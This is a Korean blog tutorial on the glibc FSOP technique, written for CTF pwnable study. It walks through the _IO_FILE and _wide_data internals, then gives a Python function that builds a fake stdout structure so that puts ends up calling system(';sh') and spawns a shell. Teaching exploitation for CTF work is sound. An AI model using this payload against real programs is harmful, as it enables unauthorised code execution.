이 세상에 FSOP 문제는 널리고 널렸지만 영어를 못하는 나는 질 좋은 FSOP 학습 자료를 볼 기회가 별로 없었다. 그래서 이번 기회에 정리하는 김에 다른 사람들에게도 도움이 되고자 이 글을 쓰게 되었다. dreamhack-invitational-quals 채널에서 값진 문장 하나를 발견했다. _IO_FILE 구조체와 _IO_wfile_overflow에 대해 분석해보면 될 것 같다.
_IO_wide_data
glibc 버전이 높아지면서 vtable을 변조하면 IO_validate_vtable에 의해 걸리므로, _wide_vtable을 사용해야 한다.
_IO_FILE 구조체를 살펴보면
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
struct _IO_wide_data *_wide_data;
여기에 _IO_wide_data 가 있음을 알 수 있다.
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
여기서 _wide_vtable을 확인할 수 있다. 즉, fp->_wide_data->_wide_vtable을 변조할 수 있다면 항상 익스 가능하다.
_IO_wfile_overflow
이제 함수를 분석해보자.
wint_t
_IO_wfile_overflow (f, wch)
_IO_FILE *f;
wint_t wch;
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
}
else
{
...
}
libc_hidden_def (_IO_wfile_overflow)
_IO_wdoallocbuf(f)를 실행시키고자 한다.
if (f->_flags & _IO_NO_WRITES) 를 만족하지 않아야 한다.
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) 를 만족해야 한다.
if (f->_wide_data->_IO_write_base == 0) 를 만족해야 한다.
모두 만족했다면, 해당 함수로 들어간다.
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
_IO_WDOALLOCATE (fp)를 실행시키고자 한다.
if (fp->_wide_data->_IO_buf_base) 를 만족하지 않아야 한다.
if (!(fp->_flags & _IO_UNBUFFERED)) 을 만족해야 한다. ( (fp->_flags & _IO_UNBUFFERED) == 0 )
이 때 _IO_WDOALLOCATE은 _IO_wide_data의 vtable을 참조하는 매크로이다. 따라서 FSOP가 성립한다.
문제에서 접근할 때, puts, write, scanf는 내부적으로 vtable의 함수를 호출하는데 이들을 잘 조작해서 _IO_wfile_overflow가 호출되도록 하면 된다. _IO_wfile_overflow는 _IO_validate_vtable에 걸리지 않는 유효한 범위에 있으므로 가능하다.
한 줄로 정리하자면 fp -> _wide_data(변조) -> _wide_vtable(변조) -> one_gadget or system with fp = ';sh'
puts를 기준으로 정리해보자.
def FSOP_struct(flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0,
_IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0,
_IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _markers=0, _chain=0, _fileno=0,
_flags2=0, _old_offset=0, _cur_column=0, _vtable_offset=0, _shortbuf=0, lock=0,
_offset=0, _codecvt=0, _wide_data=0, _freeres_list=0, _freeres_buf=0,
__pad5=0, _mode=0, _unused2=b"", vtable=0, more_append=b""):
FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
FSOP += p64(__pad5) + p32(_mode)
if _unused2 == b"":
FSOP += b"\x00" * 0x14
else:
FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
FSOP += p64(vtable)
FSOP += more_append
return FSOP
fake_fsop_struct = l.sym['_IO_2_1_stdout_']
FSOP = FSOP_struct(
flags=u64(b"\x01\x01\x01\x01;sh\x00"),
lock=stdout_lock,
_wide_data=fake_fsop_struct - 0x10,
_markers=l.symbols["system"],
_unused2=p32(0x0) + p64(0x0) + p64(fake_fsop_struct - 0x8),
vtable=l.symbols["_IO_wfile_jumps"] - 0x20,
_mode=0xFFFFFFFF,
)
puts는 내부적으로 *vtable + 0x38에 있는 _IO_new_file_xsputn를 호출한다. 우리는 *_IO_wfile_jumps + 0x18에 있는 _IO_wfile_overflow을 호출할 것이므로, vtable을 *_IO_wfile_jumps - 0x20으로 하면 offset을 맞출 수 있다.
*_wide_data의 offset은 자유롭게 설정할 수 있지만, -0x10이 가장 무난해보인다. 이렇게 설정하면, _wide_vtable은 _unused2의 마지막 부분에 있게 되므로, 이를 *_IO_2_1_stdout_ - 0x8로 바꾼다. 여기서의 offset 또한 자유이지만 가장 직관적인 것을 선택했다.
_IO_WDOALLOCATE는 *wide_vtable + 0x68을 참조하는 매크로이다. 따라서 위와 같이 FSOP를 진행했다면 *_IO_2_1_stdout_ + 0x60(- 0x8 + 0x68)인 _markers 부분을 참조하는 것이다. 여기에 system함수나, one_gadget을 넣어 쉘을 딸 수 있다.
'study > pwnable' 카테고리의 다른 글
| 리모트에서 lib(ld) offset 찾느라 브포 돌리는 당신 이 글을 정독하길 (0) | 2025.09.08 |
|---|---|
| rdi 변조가 절실할 때 쓸 가젯 (2) | 2025.08.20 |